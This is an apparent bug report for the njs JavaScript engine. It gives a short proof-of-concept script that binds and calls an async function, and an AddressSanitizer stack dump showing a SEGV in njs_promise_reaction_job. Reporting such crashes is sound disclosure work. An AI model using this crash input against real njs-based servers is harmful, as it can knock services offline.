njs
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SEGV in njs_promise_reaction_job
Environment
OS : Linux ubuntu 5.13.0-44-generic #49~20.04.1-Ubuntu SMP Wed May 18 18:44:28 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : d09868bc71f9a990445959329ad8c1b10d3898f5
Version : 0.7.4
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
Proof of concept
function main() {
async function a0(a1,a2) {
var a3 = await a1;
}
var a6 = a0.bind(Number,20152);
var a7 = a6.call();
}
main();
Stack dump
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3153028==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000103 (pc 0x0000004e4e0e bp 0x7ffd69615960 sp 0x7ffd696150c0 T0)
==3153028==The signal is caused by a READ memory access.
==3153028==Hint: address points to the zero page.
#0 0x4e4e0e in njs_scope_valid_value /path/to/njs/src/njs_scope.h:86:10
#1 0x4e4e0e in njs_vmcode_interpreter /path/to/njs/src/njs_vmcode.c:175:17
#2 0x603263 in njs_await_fulfilled /path/to/njs/src/njs_async.c:91:11
#3 0x53afac in njs_function_native_call /path/to/njs/src/njs_function.c:728:11
#4 0x539699 in njs_function_frame_invoke /path/to/njs/src/njs_function.c:766:16
#5 0x539699 in njs_function_call2 /path/to/njs/src/njs_function.c:592:11
#6 0x5f2727 in njs_function_call /path/to/njs/src/njs_function.h:178:12
#7 0x5f2727 in njs_promise_reaction_job /path/to/njs/src/njs_promise.c:1171:15
#8 0x53afac in njs_function_native_call /path/to/njs/src/njs_function.c:728:11
#9 0x4dde50 in njs_vm_invoke /path/to/njs/src/njs_vm.c:428:12
#10 0x4dde50 in njs_vm_call /path/to/njs/src/njs_vm.c:412:12
#11 0x4dde50 in njs_vm_handle_events /path/to/njs/src/njs_vm.c:572:19
#12 0x4dde50 in njs_vm_run /path/to/njs/src/njs_vm.c:532:12
#13 0x4c7fd7 in njs_process_script /path/to/njs/src/njs_shell.c:924:15
#14 0x4c71eb in njs_process_file /path/to/njs/src/njs_shell.c:619:11
#15 0x4c71eb in main /path/to/njs/src/njs_shell.c:303:15
#16 0x7f4ec0d9e082 in __libc_start_main /build/glibc-KZwQYS/glibc-2.31/csu/../csu/libc-start.c:308:16
#17 0x41da7d in _start (/path/to/njs/build/njs+0x41da7d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /path/to/njs/src/njs_scope.h:86:10 in njs_scope_valid_value
==3153028==ABORTING